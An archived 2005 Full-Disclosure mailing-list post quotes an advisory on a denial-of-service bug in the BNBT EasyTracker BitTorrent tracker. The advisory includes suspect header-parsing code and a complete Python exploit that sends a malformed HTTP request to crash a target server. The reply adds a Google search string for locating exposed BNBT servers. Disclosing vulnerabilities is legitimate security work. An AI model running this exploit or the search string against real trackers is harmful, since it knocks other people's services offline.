

# [Full-disclosure] Re: BNBT EasyTracker Remote Denial of Service Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-08/1058.html>

---

**From:** Sowhat . ([smaillist\\_at\\_gmail.com](mailto:smaillist_at_gmail.com))

**Date:** 08/31/05

Date: Wed, 31 Aug 2005 16:52:24 +0800

To: [bugtraq@securityfocus.com](mailto:bugtraq@securityfocus.com), [full-disclosure@lists.grok.org.uk](mailto:full-disclosure@lists.grok.org.uk)

To find out BNBT servers, Google: `intitle:"bnbt" inurl:".6969"`

On 8/30/05, Sowhat . <[smaillist@gmail.com](mailto:smaillist@gmail.com)> wrote:

>  
>  
> *BNBT EasyTracker Remote Denial of Service Vulnerability*  
>  
> *by Sowhat*  
>  
> *Last Update:2005.08.30*  
>  
> <http://secway.org/advisory/AD20050830.txt>  
>  
> *Vendor:*  
>  
> <http://bnbteasytracker.sourceforge.net/>  
>  
> *Product Affected:*  
>  
> *7.7r3.2004.10.27 and below*  
>  
> *Overview:*  
>  
> *BNBT was written by Trevor Hogan. BNBT is a complete port*  
> *of the original Python BitTorrent tracker to C++ for speed*  
> *and efficiency. BNBT also offers many additional features*  
> *beyond the original Python BitTorrent tracker, plus it's*  
> *easy to use and customizable. BNBT is covered under the GNU*  
> *Lesser General Public License (LGPL).*  
>  
> *A Denial of Service vulnerability exists within BNBT which*  
> *allows for an attacker to cause the BNBT to stop responding.*  
>  
> *Details:*  
>

## Full-Disclosure: [Full-disclosure] Re: BNBT EasyTracker Remote Denial of Service Vulnerability

```
> A specifically crafted HTTP request will cause the BNBT
> Server stop responding.
>
> Sending a request like "GET /index.htm HTTP/1.1\r\n:\r\n\r\n"
> will reproduce the problem. It seems that the bug is located
> in client.cpp, "//grab headers" section. And it is something
> like " 1-2 = -1" and similar to memcpy(-1) ?
>
> // grab headers
>
> string :: size_type iNewLine = m_strReceiveBuf.find( "\r\n" );
> string :: size_type iDoubleNewLine = m_strReceiveBuf.find( "\r\n\r\n" );
>
> strTemp = m_strReceiveBuf.substr( iNewLine + strlen( "\r\n" ),
> iDoubleNewLine - iNewLine - strlen( "\r\n" ) );
>
> while( 1 )
> {
> string :: size_type iSplit = strTemp.find( ":" );
> string :: size_type iEnd = strTemp.find( "\r\n" );
>
> if( iSplit == string :: npos )
> {
> UTIL_LogPrint( "client warning - malformed HTTP request (bad header)\n"
> );
>
> break;
> }
>
> string strKey = strTemp.substr( 0, iSplit );
> string strValue = strTemp.substr( iSplit + strlen( ":" ), iEnd - iSplit -
> strlen( "\r\n" ) );//Bug here ??
>
> rqst.mapHeaders.insert( pair<string, string>( strKey, strValue ) );
>
> strTemp = strTemp.substr( iEnd + strlen( "\r\n" ) );
>
> if( iEnd == string :: npos )
> break;
> }
>
> However, I am not quite sure about that and it seems that
> it is only a D.O.S so I havnt deep into it.
>
>
> Exploit:
>
> //BNBTDOS.py
> # BNBT EasyTracker Remote D.O.S Exploit
> # Bug discoverd and coded by Sowhat
> # http://secway.org
```

Full-Disclosure: [Full-disclosure] Re: BNBT EasyTracker Remote Denial of Service Vulnerability

```
>
> # Version 7.7r3.2004.10.27 and below
> # the BNBT project:
> http://bnbteasytracker.sourceforge.net/
>
> import sys
> import string
> import socket
>
> if (len(sys.argv) != 2):
> print "\nUsage: " + sys.argv[0] + " TargetIP\n"
> print
> "#####"
> print "#
> #"
> print "# BNBT EasyTracker Remote D.O.S Exploit #"
> print "# Bug discoverd and coded by Sowhat #"
> print "# http://secway.org
> #"
> print
> "#####"
> sys.exit(0)
>
> host = sys.argv[1]
> port = 6969
>
>
> payload = "GET /index.htm HTTP/1.1\r\n:\r\n\r\n"
>
> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> s.connect((host,port))
> s.send(payload)
>
>
> WORKAROUND:
>
> No WORKAROUND this time.
> plz check the vendor's website for update
> Maybe there will be a patch later (?)
>
> Vendor Response:
>
> 2005.08.22 Vendor notified via Webform,no email found
> 2005.08.30 Vendor no response. Advisory Released
>
> "Life is like a bug, Do you know how to exploit it ?"
>
>
>
```

---

Full-Disclosure – We believe in it.

Full-Disclosure: [Full-disclosure] Re: BNBT EasyTracker Remote Denial of Service Vulnerability

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>